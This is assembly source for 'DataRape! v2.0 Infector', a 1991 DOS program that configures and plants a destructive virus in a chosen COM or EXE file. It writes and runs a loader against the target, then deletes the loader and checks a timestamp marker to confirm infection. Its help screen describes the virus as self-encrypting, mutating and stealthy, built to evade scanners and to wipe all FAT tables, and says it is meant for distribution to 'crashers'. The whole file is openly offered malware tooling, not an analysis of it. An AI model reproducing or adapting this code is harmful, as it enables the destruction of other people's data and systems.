; DataRape! v2.0 Infector ; ; I know you won't dist this, DD. Sorry its a bit sloppy, but it works. ; ; - Zodiac (06/26/91) print macro call prints endm cls macro call clrscr endm code segment assume cs:code, ds:code org 100h start: jmp main_menu include loader.inc main_menu_str db "DataRape! v2.0 Infector",13,10 db "(c)1991 Zodiac of RABID",13,10 db 13,10 db "A. Information/Help",13,10 db "B. Configure Virus",13,10 db "C. View Scrolling",13,10 db "D. Infect File",13,10 db "E. Exit to Dos",13,10 db 13,10 db "Command: $" help_scr db " DataRape! v2.0 Information/Help",13,10 db 13,10 db "DataRape! v2.0 is a mutating self-encrypting destructive stealth",13,10 db "EXE/COM infector. It infects files upon execution, browsing,",13,10 db "copying, and renaming. The encryption method changes randomly as",13,10 db "does the encryption header. The virus should not be picked-up by",13,10 db "conventional string scanners(ie SCAN). If so, it will be changed.",13,10 db "After a specified number of successful loads to memory, the virus",13,10 db "turns destructive and destroys all available FAT tables. It then",13,10 db "proceeds to display a configurable scrolling message in",13,10 db "configurable colors.",13,10 db 13,10 db "This infection program is self-explanatory, and is intended for",13,10 db "general distribution to RABID's selected crashers. This virus has",13,10 db "taken many, many hours away from my life. But, it was a pleasure",13,10 db "programming and a new version will be released(shortly?).",13,10 db 13,10 db "Good Luck! Try not to get busted( trust me, it stinks. ).",13,10 db 13,10 db '"Fear the Government that Fears Your Computer!"',13,10 db 13,10 db " -- Zodiac of RABID, USA",13,10 db 13,10 db "P.S. I wrote this infector in assembly, can't you tell?$",13,10 config_scr db "DataRape! v2.0 Configuration",13,10 db 13,10 db "Loads before Destruction(20 recommended) : " db "$" config_2 db 13,10 db 13,10 db "Note: Press spacebar a few times at beginning or end of message.",13,10 db 13,10 db "Enter Scrolling Message: $" config_3 db 'Enter Colors in form: "bf", where "b" is the background and "f" the foreground.',13,10 db ' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿',13,10 db 'Colors: ³ FOREGROUND ONLY ³',13,10 db ' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿³ ÚÄÄÄÄ',13,10 db '0 : black 4 : red ³³ ³ 8 : light grey C : light red',13,10 db '1 : blue 5 : magenta ³ÀÄ´ 9 : light blue D : light magenta' db '2 : green 6 : brown ÀÄÄ´ A : light greenta E : yellow',13,10 db '3 : cyan 7 : white ³ B : light cyan F : bright white',13,10 db ' ÀÄÄÄÄ',13,10 db 13,10 db 'Background Color : $' config_4 db 13,10 db 'Border Color : $' config_5 db 13,10 db 'Scroll Color : $' color_s db "bf",8,8,"$" infect_1 db "DataRape! v2.0 Infection",13,10 db 13,10 db "Finally...",13,10 db 13,10 db "It would be a good idea to View Scrolling before you infect a file",13,10 db "to make sure you set up the colors right and the message is OK.",13,10 db 13,10 db "Who else but RABID would allow configurable colors? ",13,10 db 13,10 db "File to Infect : $" infect_2 db 13,10 db 13,10 db "An attempt will be made to infect the selected file.",13,10 db "If the file does not exist, or does not qualify for",13,10 db "infection, it will not be. It is up to you to find",13,10 db "out whether it worked or not. Remember, only COM and",13,10 db "EXE files that are over 1885 bytes are infected.$" infect_3 db 13,10 db 13,10 db "File Infection Successful. RABID - Keeping the Dream Alive!$" infect_4 db 13,10 db 13,10 db "File Infection Unsuccessful!$" infect_5 db 13,10 db 13,10 db "File Not Found$" clrscr: mov ax,0003 int 10h ret prints: mov ah,9 int 21h ret get_key: mov ah,8 int 21h ret get_up_key: call get_key cmp al,"a" jb got_up cmp al,"z" ja got_up sub al,"a"-"A" got_up: ret get_num: call get_key cmp al,27 je got_num cmp al,"0" jb get_num cmp al,"9" ja get_num got_num: ret nl: mov ah,0Eh mov al,13 int 10h mov al,10 int 10h ret main_menu: cls mov dx,offset main_menu_str print main_key: call get_up_key cmp al,"A" je info_help cmp al,"B" je config cmp al,"C" jne is_it_d jmp view_scroll is_it_d: cmp al,"D" jne isitexit jmp infectfile isitexit: cmp al,"E" je exit cmp al,27 je exit jmp main_key exit: jmp done info_help: cls mov dx,offset help_scr print call get_key info_done: jmp main_menu config: cls mov dx,offset config_scr print mov cx,2 get_freq: call get_num cmp al,27 je info_done mov ah,0Eh int 10h sub al,"0" push ax loop get_freq pop bx pop ax mov cl,10 mul cl add al,bl cmp al,2 jb info_done mov countr,al mov di,offset msg mov al,0 mov cx,216 rep stosb mov ah,9 mov dx,offset config_2 int 21h xor bx,bx mov ax,0AFAh mov cx,215 int 10h mov ah,2 mov dx,0619h int 10h mov si,offset msg mov di,si mov bp,0 get_char_loop:call get_key cmp al,27 je done_config cmp al,13 je done_get cmp al,08 jne no_back cmp bp,0 je get_char_loop mov ah,3 int 10h ; GETS INFO dec bp dec di cmp dl,0 jne no_new_line dec dh mov dl,80 no_new_line: dec dl mov ah,2 int 10h mov ah,0Ah mov al,250 mov cx,1 int 10h jmp get_char_loop no_bacK: stosb inc bp mov ah,0Eh int 10h cmp bp,215 je done_get jmp get_char_loop done_get: mov al,0 stosb mov ah,2 mov dx,0A00h int 10h mov dx,offset config_3 print mov si,offset back_round + 1 call get_clr mov dx,offset config_4 print mov si,offset bord_clr + 1 call get_clr mov dx,offset config_5 print mov si,offset scroll_clr + 1 call get_clr done_config: jmp main_menu pop_done: pop ax jmp main_menu get_clr: mov dx,offset color_s print get_color: call get_key cmp al,27 je done_config cmp al,"0" jb get_color cmp al,"7" ja get_color mov ah,0Eh int 10h sub al,"0" push ax get_color_2: call get_up_key cmp al,27 je pop_done cmp al,"0" jb get_color_2 cmp al,"9" ja maybe_char mov ah,0Eh int 10h sub al,"0" jmp short ok_clr_2 maybe_char: cmp al,"A" jb get_color_2 cmp al,"F" ja get_color_2 mov ah,0Eh int 10h sub al,"A"-10 ok_clr_2: pop cx push ax xor ax,ax mov al,cl mov cl,4 shl al,cl pop cx add al,cl mov [si],al ret view_scroll: ;************************ nuke: call rel rel: pop di sub di,offset rel - offset nuke push cs pop ds mov ax,1 int 10h ; 40 * 40 COLOR mov ah,1 mov cx,2020h int 10h ; NULS CURSOR mov ax,0600h xor cx,cx mov dx,184Fh back_round: mov bh,12 int 10h ; CLEARS BACKGROUND WINDOW mov cx,0900h mov dx,094Fh scroll_clr: mov bh,4Fh int 10h ; CLEARS MESSAGE WINDOW xor bx,bx mov dx,0800h mov ah,2 int 10h bord_clr: mov bx,02h ; clr mov cx,40 mov ax,09C4h push ax push bx push cx int 10h mov dx,0A00h mov ah,2 int 10h pop cx pop bx pop ax int 10h mov dx,030Ch mov si,di add si,offset header-offset nuke mov cx,4 head_print: mov ah,2 int 10h xy_loop: lodsb mov ah,0Eh int 10h cmp al,0 jne xy_loop inc dh loop head_print mov bp,39 scroll: mov dx,0900h call xy cmp bp,1 jb no_pad mov cx,bp mov ax,0A20h int 10h add dx,cx call xy mov cx,40 sub cx,bp dec bp mov si,offset msg-offset nuke add si,di jmp short sprint no_pad: mov cx,40 inc si cmp byte ptr [si],0 jne sprint mov si,offset msg-offset nuke add si,di sprint: push si call prnt pop si jmp short scroll prnt: lodsb cmp al,0 jne pchar mov si,offset msg-offset nuke add si,di jmp short prnt pchar: mov ah,0Eh int 10h mov ah,1 int 16h jc go_main_menu loop prnt mov cx,6 main_pause: push cx mov cx,0FFFFh pause: loop pause pop cx loop main_pause done_pause: ret go_main_menu: pop ax jmp main_menu xy: mov ah,2 int 10h ret header db "DataRape! v2.0",0 db "-CONFIGURABLE-",0 db "(c)1991 Zodiac",0 db " RABID, USA ",0 go_ret_infect:jmp main_menu infectfile: cls mov dx,offset infect_1 print mov ah,0Ah mov dx,offset file_in int 21h cmp chars,4 jb go_ret_infect mov cx,61 mov di,offset file_name mov al,13 repne scasb mov byte ptr [di-1],0 mov ah,4Eh mov cx,0 mov dx,offset file_name int 21h jnc file_found jmp bad_file file_found: mov ah,41h mov dx,offset loader int 21h ; prepare loader mov si,offset file_name xor cx,cx mov cl,chars mov di,offset datarape+56 rep movsb mov si,offset msg mov di,offset dr_msg mov cx,215 rep movsb mov ah,byte ptr [back_round+1] mov al,byte ptr [scroll_clr+1] mov bl,byte ptr [bord_clr+1] mov backclr,ah mov scrclr,al mov bordclr,bl mov ah,3Ch mov cx,0 mov dx,offset loader int 21h ; creates it jc go_ret_infect mov bx,ax mov ah,40h mov cx,loadsize mov dx,offset datarape int 21h ; writes it mov ah,3Eh int 21h ; closes it call kill_cntr mov bx,(code_done-start+110h)/16 mov ah,4Ah int 21h mov dx,offset loader mov bx,offset loader mov ax,4B00h int 21h ; exec file call kill_cntr mov ah,41h mov dx,offset loader int 21h ; kills loader mov ax,3D00h mov dx,offset file_name int 21h mov bx,ax mov ax,5700h int 21h mov ah,3Eh int 21h and cx,1Fh cmp cx,1Fh jne bad_infect mov dx,offset infect_3 print jmp short get_char bad_infect: mov dx,offset infect_4 print jmp short get_char bad_file: mov dx,offset infect_5 print get_char: call get_key ret_infect: jmp main_menu kill_cntr: mov ah,19h int 21h add al,"A" mov byte ptr [offset nasty],al mov dx,offset nasty mov ax,4301h xor cx,cx int 21h ; NULS ATTRIBUTES mov ah,41h int 21h ; Deletes Counter File ret done: cls int 20h nasty db "A:\",0FFh,0FFh,0FFh,".",0FFh,0FFh,0 badfile db "Bad File...$" loader db "LOADER.COM",0 file_in db 60 chars db 0 file_name db 60 dup(0) msg db "RABID, INTERNATIONAL - Keeping the Dream Alive. (YOUR NAME HERE!)" code_done equ $ code ends end start